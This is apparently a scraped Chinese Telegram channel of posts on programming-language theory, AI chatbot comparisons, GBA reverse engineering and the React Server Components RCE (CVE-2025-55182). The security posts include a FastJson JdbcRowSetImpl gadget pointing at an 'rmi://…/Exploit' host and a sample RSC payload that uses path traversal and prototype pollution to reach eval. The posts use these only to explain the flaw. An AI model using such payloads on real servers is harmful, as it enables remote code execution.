duangsuse::Echo
我决定不把Effect归化到我的编程语言里去,技术细节见 #ai探讨
P1: ppt 里有一页非常全局的描述了编程语言从汇编goto以来「流控」的发展,比如悲伤路径(fallback)、耗时操作(进程)
我看这张隐隐约约是说OOP使用的AOP/await/Worker等方法不如FP的竟品灵活😅
可是我的语言用的并不是最右边的子图里的任何一个,它是基于 declarative compose可变量 + nulley可选链处理Error类型,可能还有Arena这种“非局部”的隔离,不像FP的eh或OOP SEH的隔离那么乱
看PL界的动向可以,但最终目的并不是学习人家,而是找灵感。😅 😅
P2: 理解挺成体系的,不过ppt原文揉杂的东西太多了,顺序挺乱的
#ai锐评 https://chat.librechat.ai/share/_syu9tn6ne8BRMBjFMCCR
好像没看出我在反讽
我看这张隐隐约约是说OOP使用的AOP/await/Worker等方法不如FP的竟品灵活
可是我的语言用的并不是最右边的子图里的任何一个,它是基于 declarative compose可变量 + nulley可选链处理Error类型,可能还有Arena这种“非局部”的隔离,不像FP的eh或OOP SEH的隔离那么乱
看PL界的动向可以,但最终目的并不是学习人家,而是找灵感。
P2: 理解挺成体系的,不过ppt原文揉杂的东西太多了,顺序挺乱的
#ai锐评 https://chat.librechat.ai/share/_syu9tn6ne8BRMBjFMCCR
好像没看出我在反讽
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我决定不把Effect归化到我的编程语言里去,技术细节见
#PLT #learn HOAS/de Bruijn index 两种变量(和“栏目答”)实现方法 😅
#statement 知道我为啥圈选回复这条吗?
Algebraic Effects 也是一个PFP的“新秀”,但我考察后觉得没有吸纳的必要,那么不是新秀的deBruj啥,就更没有必要了。
我一直觉得提出它的领域(“定理证明器”)是多此一举的: 自己test都不明白,又何谈证明呢? 若非如此,何需证明呢?
不懂的证明没用,能懂的证明干嘛! 所以,我不会和AEff一样(因为像 #Haskell 还有些可取之处),就额外偏心一些
但是,这俩理论启发了我(作为负面教材),也算不虚此行,没有在弯来绕去的无聊符号上,浪费智商。
回头我会讲讲Prolog的“1=x式变量”与它所不能做的「形式化证明」有何联系。
https://t.me/dsuse/11841
#ai探讨 https://chat.librechat.ai/share/9iz2YegEZl9kEdiacDNmF
#statement 知道我为啥圈选回复这条吗?
Algebraic Effects 也是一个PFP的“新秀”,但我考察后觉得没有吸纳的必要,那么不是新秀的deBruj啥,就更没有必要了。
我一直觉得提出它的领域(“定理证明器”)是多此一举的: 自己test都不明白,又何谈证明呢? 若非如此,何需证明呢?
不懂的证明没用,能懂的证明干嘛! 所以,我不会和AEff一样(因为像 #Haskell 还有些可取之处),就额外偏心一些
但是,这俩理论启发了我(作为负面教材),也算不虚此行,没有在弯来绕去的无聊符号上,浪费智商。
回头我会讲讲Prolog的“1=x式变量”与它所不能做的「形式化证明」有何联系。
https://t.me/dsuse/11841
#ai探讨 https://chat.librechat.ai/share/9iz2YegEZl9kEdiacDNmF
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前置知识:De Bruijn Index - Trebor的文章 - 知乎
https://zhuanlan.zhihu.com/p/94601499 #PLT #FP
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回头我会讲讲Prolog的“1=x式变量”与它所不能做的「形式化证明」有何联系。
#ai探讨 这次的结果比较失败😅 我已经努力备稿了,但回答质量还和Gemini的版本、WEB数据集相关
总的来说,十几次提问点到的都有,有一些切入的很好,质量不稳定,显示我没有问到真髓。但总比知乎那些只会晒output的人好多了
https://chat.librechat.ai/share/aqfRjkK2bKQDQQKbvMDg_
https://x.com/i/grok/share/pNEr4q20xBGlITAXGso7Th8mL
让我们聊聊定义式编程与证明。
有句话叫“类型即命题,程序即证明”。一般来说,类型只是被常量“根”、变量的传导所决定的assert树,
是类型来证明程序的“有效”,而不是写出函数的定义,就使证明得解。
我认为这与三大要点相关:
总的来说,十几次提问点到的都有,有一些切入的很好,质量不稳定,显示我没有问到真髓。但总比知乎那些只会晒output的人好多了
https://chat.librechat.ai/share/aqfRjkK2bKQDQQKbvMDg_
https://x.com/i/grok/share/pNEr4q20xBGlITAXGso7Th8mL
让我们聊聊定义式编程与证明。
有句话叫“类型即命题,程序即证明”。一般来说,类型只是被常量“根”、变量的传导所决定的assert树,
是类型来证明程序的“有效”,而不是写出函数的定义,就使证明得解。
我认为这与三大要点相关:
1. 关系式编程的“无尽多态”
在Prolog里,(x+1=2) 不需要x的值,因为x本身就是(+)函数可以infer出的变量(就像解构)
甚至,自然数 (x+y=2) 也不需要,这是因为变量不被视为“右值” “左值”,而更像“等位值”或者“应后值(x=inHole 1)”
为了将DFS的推理过程与递归结合,一般是用Peano“链表数”简化自然数相加的意思: `append_out(x, [1],[1,1])`
如果把(+)视为assert,x,y 视为类型变量,甚至是程序……或者反之?我们就有了“兼容一切可能性”的检查器。这也是SAT算法的应用。
因为,这时“栏目答(lambda)”新建的变量,不是“要被赋值的盒子”,而是“约束的孔洞”。
“变量的容器”对函数就不再是黑箱,而是“提问的基础”。
2. 可以在函数执行前assert的“类型标注”
有句话叫“没有类型比def本身的实现,更能表达它的类型。”
无论def,class还是更复杂的结构,typehint的本质是被独立执行的assert语义,它是一个“子语言”。
写一个typer,其实就是写一个解释器,然后,让它停机。
这样就肯定不能体现“流控语意”,比如 for,if,throw,因此它也会引入模糊性,也就是 soundness vs completeness (误报时的过严和“执行时”过慢)
比如 union type “有联类型”就能比C的类型更好对应 (isXX? A():B()) 这种语法,因此更sound: 优雅的程序会“镜像”它所处理数据的结构,类型亦然。
到这里,我们已经看到“类型和程序同构性”里的三态:事后检查(TS)、同步构造(程序就像x,y)、事前求解(Prolog)
3. 程序的等价性
既然我们知道了关系式编程类似SAT,它的基石是 unify(A,B) 的成立、组合或分支,程序显然也有着相等性
(x=>x) 等价 (y=>y) 是栏目答演算里的一个“定理”,它的成立前提在TypeScript也可以表达: 如果类型签名不同,函数不可能相等。
但“等价”似乎是另一种: `f(A,B) 等价 ((A,B,_x)=>f(B,A))(B,A,0)` 并不比上面的“定理”困难,而且它的“类型签名”相差很大
“类型即命题,程序即证明” 在此到底是指什么呢?请结合要点1“等位值”探讨。
上面的等价性,在TypeScript上依赖于 <A,B> 变量被「抽象」成为不同类型,但是当涉及“字面类型”时:
`chkstk=(n)=>(n==0)? 0 : chkstk(n-1)+1`
如何证明若有 nat(n) ,chkstk会停机? 请结合要点1讲解
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开源 #ai #news https://t.me/hyi0618/9815?comment=142646
DeepSeek-V3.2 的目标是平衡推理能力与输出长度,适合日常使用,例如问答场景和通用 Agent 任务场景。在公开的推理类 Benchmark 测试中,DeepSeek-V3.2 达到了 GPT-5 的水平,仅略低于 Gemini-3.0-Pro;相比 Kimi-K2-Thinking,V3.2 的输出长度大幅降低,显著减少了计算开销与用户等待时间。
DeepSeek-V3.2 的思考模式也增加了对 Claude Code 的支持,用户可以通过将模型名改为 deepseek-reasoner,或在 Claude Code CLI 中按 Tab 键开启思考模式进行使用。
#pingbk
https://t.me/hyi0618/10588
prompt caching 也叫 KV caching,缓存的不是答案,是中间干活的结果,规避 LLM 推理过程中的冗余计算,但不影响输出的随机性。很灵活,不用完整匹配整段,支持前缀部分匹配。
DeepSeek-V3.2 的目标是平衡推理能力与输出长度,适合日常使用,例如问答场景和通用 Agent 任务场景。在公开的推理类 Benchmark 测试中,DeepSeek-V3.2 达到了 GPT-5 的水平,仅略低于 Gemini-3.0-Pro;相比 Kimi-K2-Thinking,V3.2 的输出长度大幅降低,显著减少了计算开销与用户等待时间。
DeepSeek-V3.2 的思考模式也增加了对 Claude Code 的支持,用户可以通过将模型名改为 deepseek-reasoner,或在 Claude Code CLI 中按 Tab 键开启思考模式进行使用。
#pingbk
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prompt caching 也叫 KV caching,缓存的不是答案,是中间干活的结果,规避 LLM 推理过程中的冗余计算,但不影响输出的随机性。很灵活,不用完整匹配整段,支持前缀部分匹配。
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🏃♂️ in yihong0618 Chat
DeepSeek-V3.2-Speciale 也开源吗,还是只提供接口
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#PLT #learn HOAS/de Bruijn index 两种变量(和“栏目答”)实现方法 😅 #statement 知道我为啥圈选回复这条吗? Algebraic Effects 也是一个PFP的“新秀”,但我考察后觉得没有吸纳的必要,那么不是新秀的deBruj啥,就更没有必要了。 我一直觉得提出它的领域(“定理证明器”)是多此一举的: 自己test都不明白,又何谈证明呢? 若非如此,何需证明呢? 不懂的证明没用,能懂的证明干嘛! 所以,我不会和AEff一样(因为像 #Haskell 还有些可取之处),就额外偏心一些…
#ai对比 https://chat.librechat.ai/share/DKnw34-lIfqqaISpKQgXw
DeepSeek 感觉在一些地方比G2.5还好,不知道是不是中文提问的原因。 就是还没测试是否是「做题家」?😒
我估计它全线超过了Kimi,但为了灵感的完整性,这些开源模型可以顺便“旁听”一下。
DeepSeek 感觉在一些地方比G2.5还好,不知道是不是中文提问的原因。 就是还没测试是否是「做题家」?
我估计它全线超过了Kimi,但为了灵感的完整性,这些开源模型可以顺便“旁听”一下。
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#ai探讨 #对比 Kimi K2 做题确实太公式了
#ai对比 DS,Grok3,Kimi 免费😝
很不错! 虽然DS还是有些严谨,但它贴代码的能力很强,让人感觉不到生硬(这点中国AI可能普遍更强,问题是太做题家)
最重要的是,DS的「领域全局观」很强,能结合灵感和 living standard 实践。😃
这种程度的教条主义,非常适合在grok3之后阅读,然后是kimi2 (从灵感越来越偏向于现实妥协),最后是SOTA的G3(高费LLM)
https://chat.librechat.ai/share/_DzXZONw7DQ8e7DJ5eEMi
https://x.com/i/grok/share/G53QXbgIdRcb5DqCerDT4qaFZ
很不错! 虽然DS还是有些严谨,但它贴代码的能力很强,让人感觉不到生硬(这点中国AI可能普遍更强,问题是太做题家)
最重要的是,DS的「领域全局观」很强,能结合灵感和 living standard 实践。
这种程度的教条主义,非常适合在grok3之后阅读,然后是kimi2 (从灵感越来越偏向于现实妥协),最后是SOTA的G3(高费LLM)
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这次的结果比较失败😅 我已经努力备稿了,但回答质量还和Gemini的版本、WEB数据集相关
https://chat.librechat.ai/share/9Hf8poCH6ELbxOuWAtM-R #ai #tool
DS3.2 的“表现力”更差,但更加适合有基本功的人阅读 (上条说的「形式化验证」就暂时不讲了,要 #vibe 嘛),最重要的是便宜8倍
我花了几个小时缝合Gemini的4个答案串,希望能优化追问的质量,回头贴上。😅
https://chat.librechat.ai/share/7qAk4DtR2yryMmXbFXSJS #ts #sql #plt 看过了,很不错
#post #加入套餐 抽象解释、符号执行、污点值传递(progurad 做不到这么精细)
https://chat.librechat.ai/share/-rZrNF-UqZoRL8h58etCn😒
https://chat.librechat.ai/share/DhFAi6LcDMgJVRRv5pRHY 类型系统还能用来 #reveng
https://x.com/i/grok/share/gzQnI2916tLMlNWPtyoa59n5t
https://chat.librechat.ai/share/BjZyFc8Twa42gHsR_Yk47
可能纯技术问题DS比G2.5更好用?对于大陆用户
DS3.2 的“表现力”更差,但更加适合有基本功的人阅读 (上条说的「形式化验证」就暂时不讲了,要 #vibe 嘛),最重要的是便宜8倍
我花了几个小时缝合Gemini的4个答案串,希望能优化追问的质量,回头贴上。
https://chat.librechat.ai/share/7qAk4DtR2yryMmXbFXSJS #ts #sql #plt 看过了,很不错
#post #加入套餐 抽象解释、符号执行、污点值传递(progurad 做不到这么精细)
https://chat.librechat.ai/share/-rZrNF-UqZoRL8h58etCn
https://chat.librechat.ai/share/DhFAi6LcDMgJVRRv5pRHY 类型系统还能用来 #reveng
让我们聊聊sourceless的调试(探针模式)
其实,静态类型就是在sourceless(无变量名)黑盒下的一种可观测性,它和模块划分、内存分配高度绑定
同时,类型也相当于一种“符号ID”,可以匹配不同版本、不同package里的相同代码
类型系统并不只是在“无源码做assert”或沟通API时起作用,它的本质是对程序行为的观测
这种观测可以延伸到runtime。即使对混淆过的控制流,不去推测其内部逻辑,只是hook平台的基础API(例如图层和键鼠函数),我们也能通过“指针污染”还原一定的逻辑
如果对基础API间组合关系的分析,能够进行codegen,并增量的patch到原有“汇编”,这就是动态分析的反混淆
九成情况下,AOP不是要完全获取source,而是要“理解”功能点间的联系,就像CheatEngine的数值搜索-锁定或A11y的检测点击一样。 安全界对此的认识到什么程度呢? Ghidra,x64dbg,r2 都很好,但它们对程序似乎不是“语义化理解”,限于还原符号
https://x.com/i/grok/share/gzQnI2916tLMlNWPtyoa59n5t
https://chat.librechat.ai/share/BjZyFc8Twa42gHsR_Yk47
我们不考虑二进制,或语言的AST或对象系统这些表象
type infer 究竟和这种“反混淆过程”多相似?
注意,二者都是在追溯已知“点”和“箭头”间的联系,从而推出新箭头乃至新点。
静态类型是用字面值的传导,推理箭头函数的形状,比如参数数量。在一个全部def均是SSA块(不含for,if)的代码树上,这一点非常明显。包含if或异常时它通过 union type 与类型变量,来更准确的表达点和箭头的联系。
动态分析是用污点返回值的传导,推理“箭头语句块”的流向,并探知新语句块的存在、新返回值的意图。
可能纯技术问题DS比G2.5更好用?对于大陆用户
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开源 #ai #news https://t.me/hyi0618/9815?comment=142646 DeepSeek-V3.2 的目标是平衡推理能力与输出长度,适合日常使用,例如问答场景和通用 Agent 任务场景。在公开的推理类 Benchmark 测试中,DeepSeek-V3.2 达到了 GPT-5 的水平,仅略低于 Gemini-3.0-Pro;相比 Kimi-K2-Thinking,V3.2 的输出长度大幅降低,显著减少了计算开销与用户等待时间。 DeepSeek-V3.2 的思考模式也增加了对…
#vibe #draft GBA平台的混合成框架与可观测性
用 Linux mednafen, Mame 玩掌机游戏曾经是我的“小游戏”乐园。😃
本来以为AI时代就可以vibe一个和平台一样大的东西(或许FC可以吧..),发现是ARM7TDMI就萎了😅
其实,就连Flash平台的开源调试都只有FFDec,某些VM写成解释器卡的要命。想要F12那种程度的可观测,根本想都别想
为什么呢? 因为,与其说这些领域的SDK(ABI也算一种)是在服务业务逻辑,不如说他们不知道业务的“特点”究竟是哪些,他们用类似于LLM的方法编程实现,也只有实现而已!
没法把语义和ARM这些下层平台剥离开来,自然不可能做到F12那种程度,就像在UI/UX领域,js和其他UI框架栈的质量也是天上地下。
https://x.com/i/grok/share/VgAFwTWKxAJW0dgHxC82EV7uL
https://chat.librechat.ai/share/XrtVCNER6wZ_uTETDVOYP #ai分叉
https://docs.huihoo.com/media/gba/
#reveng Grok给我答错了,DS好文明 https://chat.librechat.ai/share/HXuwzpWSJP1MsrVOVManf
用 Linux mednafen, Mame 玩掌机游戏曾经是我的“小游戏”乐园。
本来以为AI时代就可以vibe一个和平台一样大的东西(或许FC可以吧..),发现是ARM7TDMI就萎了
其实,就连Flash平台的开源调试都只有FFDec,某些VM写成解释器卡的要命。想要F12那种程度的可观测,根本想都别想
为什么呢? 因为,与其说这些领域的SDK(ABI也算一种)是在服务业务逻辑,不如说他们不知道业务的“特点”究竟是哪些,他们用类似于LLM的方法编程实现,也只有实现而已!
没法把语义和ARM这些下层平台剥离开来,自然不可能做到F12那种程度,就像在UI/UX领域,js和其他UI框架栈的质量也是天上地下。
https://x.com/i/grok/share/VgAFwTWKxAJW0dgHxC82EV7uL
https://chat.librechat.ai/share/XrtVCNER6wZ_uTETDVOYP #ai分叉
https://docs.huihoo.com/media/gba/
#reveng Grok给我答错了,DS好文明 https://chat.librechat.ai/share/HXuwzpWSJP1MsrVOVManf
> libretro的接口是什么层次的? 不会是一个ev/input+fb+sound 吧?还是,它负责类似MIDI的混合成?
简单来说,它就是个黑箱,类似 canvas+PCM+mouse/keyup ,图形没有层,只是bmp ……
tasvideos.org/Bizhawk 提供了完整的 mmap hook、PPU 寄存器、音频通道分离
#awesome
https://x.com/i/grok/share/i4YuHalu9C2pSaFpb6AgRTD7B
https://gist.github.com/aldelaro5/d532b21b5e2ec48d5f78e81846c1c1b7
https://github.com/michelhe/rustboyadvance-ng#:~:text=Incredible%20test%20suite
- https://felixjones.co.uk/mgba_gdb/vscode.html
- https://gbadev.net/tonc/setup.html
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Forwarded from dnaugsuz
https://github.com/MoonshotAI/kimi-cli/issues/405#:~:text=「提示字编程语言
这哥们是结构化编程和“typehint”写魔怔了,没有认识到LLM是在「语意」层面写代码呢,还和某些人那样觉得写个PEG+语法高亮就叫元编程呢。
我上次用Gemini聊“符号执行、抽象解释”,怎么都没有想到这些有的没的、形式主义…… REPL的状态? AIGC+code interpreter+MCP 才是真正的REPL workflow
他的大意是,觉得prompt时用这种又臭又长的“DSL”可以提高模块化、减少返工 ——只要解决 context len 导致注意力分散的,Transformer自己的问题?
他还觉得,可以把既有代码、断言前后件、副作用和异常(恕我直言,论对 edge case 的把握Gemini吊打你),甚至并发和导入这些杂事让人来卡死,从而让AI替代 gcc -O3 (更疯狂的“AI即codebase论”我就不拆解了)
虽然他的文字类似草履虫语言,我还勉强能get到一些思想。
为什么要觉得人应该把意图细化到手写DSL? DNN 正在使用更优秀的方法「理解」编程语言,这样,才能把它和人类的情感、灵感、实践经验相结合,而不是单纯的TDD或review。
我们应该重视结构的机械解释性,但更重要的是,要在语意的层面设计心智模型,降低认知成本,而不是觉得像“人工智能实验室”的Lisp那样,能和堆栈、树状图对应起来的才叫智能。
都已经是开发者了,还把接近AGI的“队友”当作Agent一样来用, “你是一个XXX”的,其实是不尊重LLM,也不会获得优质的output。
DS3.2:它像是为马车时代设计交通规则,却试图用它来管理高速公路。……500B语义LLM,被降格为一个“超级解析器”,这相当于让一个博士生去做语法分析。
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GitHub
一个创新的想法 || An innovative idea · Issue #405 · MoonshotAI/kimi-cli
What feature would you like to see? 改进性能 Additional information No response What feature would you like to see? Improve performance Additional information No response
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谈到“舌战”的对象,真人你要顾及的非技术太多,建议问“大贤者”:
感觉grok3的回答就像MLP里的Pinky在酒馆里和你“嘿嘿,...”的闲聊,有时会一针见血;Gemini2则像大树图书馆里的Twilight,非常有人文关怀,视角也比较宏观。😝
感觉grok3的回答就像MLP里的Pinky在酒馆里和你“嘿嘿,...”的闲聊,有时会一针见血;Gemini2则像大树图书馆里的Twilight,非常有人文关怀,视角也比较宏观。
#learn 😃 😅
洞察力的本质是泛化能力,它依赖于对知识图谱的归纳、联合搜索能力,或者说依赖于“活知识”
有洞察力的人对其知识领域的认知不是纯粹的“脑图”,而是有加权,有逻辑,不仅仅能自洽的「有向无环图」
富有洞见的交流者擅长提炼自己的观点,并对他人的知识点拥有具体化、价值对比的习惯。
https://chat.librechat.ai/share/kKyJYo9-GHZrCWs9fZ7kQ
[机器学习版]
洞察力的本质是泛化能力,它依赖于对知识图谱的归纳、联合搜索能力,或者说依赖于“活知识”
有洞察力的人对其知识领域的认知不是纯粹的“脑图”,而是有加权,有逻辑,不仅仅能自洽的「有向无环图」
富有洞见的交流者擅长提炼自己的观点,并对他人的知识点拥有具体化、价值对比的习惯。
https://chat.librechat.ai/share/kKyJYo9-GHZrCWs9fZ7kQ
[机器学习版]
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脚本引擎都弄出来了呀…… 这画风和js的JSON迥异,生硬如同 new WTF({kwarg:..})
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ,数不清的注入点。
于是计算器就出来了 {@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ,数不清的注入点。
#security #js
- React Server DOM 的反序列化逻辑存在问题,可能导致远程代码执行 (RCE) 漏洞。
https://t.me/outvivid/4791
https://chat.librechat.ai/share/EfCGGYlyMYZy0PnOlAp5O
欸,这不是搞笑么。😓 果然,又是load数据变程序的问题,没写过Java的人instanceof都不会check?虽然没有PHP eval把代码和参数都当字符串那么抽象了,一些根本性的东西还是很6
不过,FastJson也有“无类型观”的问题吧(autotype)…… 缺乏跨端计算边界的感知能力,缺乏真正的静态类型😒 。
很好。越来越脚本小子了。至少DOM的设计使用cookie/iframe,还支持js不可见的沙盒化,现在直接字符串硬引用了(Flight protocol)最离谱的是没有可用集与API版本号,随便eval🤪
安全不是功能,而是属性。 不能在协议设计完成后再“加上”安全,必须在设计的第一行代码就考虑威胁模型。
#ai锐评 https://chat.librechat.ai/share/pPM9bK0dmxnIbkn_j6Pyn
- React Server DOM 的反序列化逻辑存在问题,可能导致远程代码执行 (RCE) 漏洞。
https://t.me/outvivid/4791
https://chat.librechat.ai/share/EfCGGYlyMYZy0PnOlAp5O
欸,这不是搞笑么。
不过,FastJson也有“无类型观”的问题吧(autotype)…… 缺乏跨端计算边界的感知能力,缺乏真正的静态类型
最开始是“RSC Payload 永远只能由可信的 React Server 产生,客户端必须 100% 信任它”
M1:{
"id": "../node_modules/malicious-module/index.js", // 路径越狱
"name": "default",
"chunks": [],
"children": [],
// 附加: 污染 prototype 让 eval 链起飞
"__proto__": { "require": "eval(maliciousCode)" }
}
Module Reference(指向服务器上的 JS 模块)
如果服务器在解析时没有严格校验 id 路径,或者有 prototype pollution 把 require cache 污染了,通过__flight__符号或类似机制,注入可执行的JS代码片段,就能加载任意模块。
某些旧版本的 React 真的把服务器组件的函数体序列化成字符串发下去(S: 开头),客户端直接 eval。
这波漏洞本质上就是:把“ hydration 需要执行的代码引用”当成普通数据传,结果在不可信环境里直接执行了。跟当年的 Java 反序列化、FastJSON @type
、Python pickle 是一个娘胎里出来的味儿。
很好。越来越脚本小子了。至少DOM的设计使用cookie/iframe,还支持js不可见的沙盒化,现在直接字符串硬引用了(Flight protocol)最离谱的是没有可用集与API版本号,随便eval
安全不是功能,而是属性。 不能在协议设计完成后再“加上”安全,必须在设计的第一行代码就考虑威胁模型。
#ai锐评 https://chat.librechat.ai/share/pPM9bK0dmxnIbkn_j6Pyn
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层叠 - The Cascading
#PSA: React RSC 的 RCE 漏洞,影响 Next.js 等,受影响用户请立即更新。
- 受影响版本包括 React 19.0/19.1.0/19.1.1/19.2.0 及 Next.js 15-16(以及个别 14 canary 版本)。 [1][2]
- 受影响用户请更新至 React 19.0.1/19.1.2/19.2.1 及 Next.js 15.0.5/15.1.9/15.2.6/15.3.6/15.4.8/15.5.7/16.0.7。
- React Server DOM …
- 受影响版本包括 React 19.0/19.1.0/19.1.1/19.2.0 及 Next.js 15-16(以及个别 14 canary 版本)。 [1][2]
- 受影响用户请更新至 React 19.0.1/19.1.2/19.2.1 及 Next.js 15.0.5/15.1.9/15.2.6/15.3.6/15.4.8/15.5.7/16.0.7。
- React Server DOM …
❤3
Forwarded from Solidot
React Server 高危漏洞影响无数网站
2025-12-04 17:52 by 银色金属恋人
安全公司 Wiz 周三披露了危险等级 10/10 的 React Server 高危漏洞。React Server 被网站和云环境广泛使用,安全研究人员督促管理员尽快打上补丁,因为漏洞极其容易被利用(成功率差不多 100%)。漏洞利用代码已经公开,攻击者可利用漏洞远程执行代码。约 6% 的网站和 39% 的云环境使用 React。受影响的 React 版本包括 v19.0.1、v19.1.2 或 v19.2.1,受影响的第三方组件包括 Vite RSC、Parcel RSC、React Router RSC、RedwoodSDK、Waku 和 Next.js 等。漏洞编号为 CVE-2025-55182,存在于 React Server Components 的 Flight 协议中,源自于不安全的反序列化。
https://arstechnica.com/security/2025/12/admins-and-defenders-gird-themselves-against-maximum-severity-server-vulnerability/
https://github.com/ejpir/CVE-2025-55182-poc/tree/main
#安全
2025-12-04 17:52 by 银色金属恋人
安全公司 Wiz 周三披露了危险等级 10/10 的 React Server 高危漏洞。React Server 被网站和云环境广泛使用,安全研究人员督促管理员尽快打上补丁,因为漏洞极其容易被利用(成功率差不多 100%)。漏洞利用代码已经公开,攻击者可利用漏洞远程执行代码。约 6% 的网站和 39% 的云环境使用 React。受影响的 React 版本包括 v19.0.1、v19.1.2 或 v19.2.1,受影响的第三方组件包括 Vite RSC、Parcel RSC、React Router RSC、RedwoodSDK、Waku 和 Next.js 等。漏洞编号为 CVE-2025-55182,存在于 React Server Components 的 Flight 协议中,源自于不安全的反序列化。
https://arstechnica.com/security/2025/12/admins-and-defenders-gird-themselves-against-maximum-severity-server-vulnerability/
https://github.com/ejpir/CVE-2025-55182-poc/tree/main
#安全
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duangsuse::Echo
#vibe #embed PoV display, Holographic 😮 https://jsbin.com/sowamo/edit?html,output https://chat.librechat.ai/share/Im6ypXadkhtqjzPVHbZJC Gemini3 很棒! https://jsbin.com/godebah/edit grok3理解错了,但导入表写对了 https://jsbin.com/voyigen/edit 第一版 https://jsbin.com/sow…
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duangsuse::Echo
“我们已经不指望软件能长期稳定工作了。”
“大家都充分认识到复杂之荒谬,简单之美——简化可以让事情变得更好。”
“程序员们忙着把简单事情复杂化的同时…… 电脑游戏却变得连最基本的事情都很难实现了。”
“大家都充分认识到复杂之荒谬,简单之美——简化可以让事情变得更好。”
“程序员们忙着把简单事情复杂化的同时…… 电脑游戏却变得连最基本的事情都很难实现了。”
#design https://functional.computer/blog/programming-peaked
😓 JS界确实过分重视「应用能力」了,危险等级 10/10 的 React Server 高危漏洞? 在我看来SSR本身就和消除async染色问题一样荒唐。比如, React 的 useMemo 明明可以和async一起用 JS Signal 消除掉,root cause 都是不存在的,何来RCE漏洞这种过度工程的恶果?
某些“SOTA框架”还是在生成整个tree,diff,patch,甚至“分批处理”,而这些是DOM本来就会的…… 真的,都觉得自己比C++代码基还聪明么?
我们用最复杂的Chromium做最简单的事(显示文字、在“单文件”内安全改变量名 )
我们用最“先进”的流程拖慢一切(PR + CI + k8s + monorepo)
我们用最臃肿的方式打包最轻量的代码(3GB 镜像跑 2MB JS)
我们用最严格的安全扫描放行被误报的危险镜像(关扫描就完事了)
—— AI都明白
某些“SOTA框架”还是在生成整个tree,diff,patch,甚至“分批处理”,而这些是DOM本来就会的…… 真的,都觉得自己比C++代码基还聪明么?
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dnaugsuz
https://github.com/MoonshotAI/kimi-cli/issues/405#:~:text=「提示字编程语言 这哥们是结构化编程和“typehint”写魔怔了,没有认识到LLM是在「语意」层面写代码呢,还和某些人那样觉得写个PEG+语法高亮就叫元编程呢。🤯 我上次用Gemini聊“符号执行、抽象解释”,怎么都没有想到这些有的没的、形式主义…… REPL的状态? AIGC+code interpreter+MCP 才是真正的REPL workflow 他的大意是,觉得prompt时…
#fp #sb https://github.com/MoonshotAI/kimi-cli/issues/405#issuecomment-3615015273
信达雅究竟是什么? 信是目标语言的原生感,达是源语言的语义保留
《中文编程》圈有时挺魔怔的,yin 说他不开发ONE语言是因为懒,而yin(.java)没有做的下去有一部分是被各种人指点江山的原因失去了兴趣,我算是明白是哪种人了(帝球 也指点过呢)🤯
同样是FP和PLT,为啥我的翻译就是「lambda栏目答」「recursion睿括式」「interpreter硬特匹蕊特」,这人就是莫名其妙的「兰姆达」「演算」,难道我们小学学的不是一门国语?😅
最头疼的是他根本不知道怎么用AI,output出这么多玩意也不知道删减,我滚动都浪费我的时间。
#ai探讨 https://chat.librechat.ai/share/iC-S-ZmLqNwIyzlYiOlrh
#pingbk https://codemanship.wordpress.com/2025/11/25/the-future-of-software-development-is-software-developers/
信达雅究竟是什么? 信是目标语言的原生感,达是源语言的语义保留
《中文编程》圈有时挺魔怔的,yin 说他不开发ONE语言是因为懒,而yin(.java)没有做的下去有一部分是被各种人指点江山的原因失去了兴趣,我算是明白是哪种人了(帝球 也指点过呢)
同样是FP和PLT,为啥我的翻译就是「lambda栏目答」「recursion睿括式」「interpreter硬特匹蕊特」,这人就是莫名其妙的「兰姆达」「演算」,难道我们小学学的不是一门国语?
最头疼的是他根本不知道怎么用AI,output出这么多玩意也不知道删减,我滚动都浪费我的时间。
#ai探讨 https://chat.librechat.ai/share/iC-S-ZmLqNwIyzlYiOlrh
#pingbk https://codemanship.wordpress.com/2025/11/25/the-future-of-software-development-is-software-developers/
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信达雅究竟是什么?
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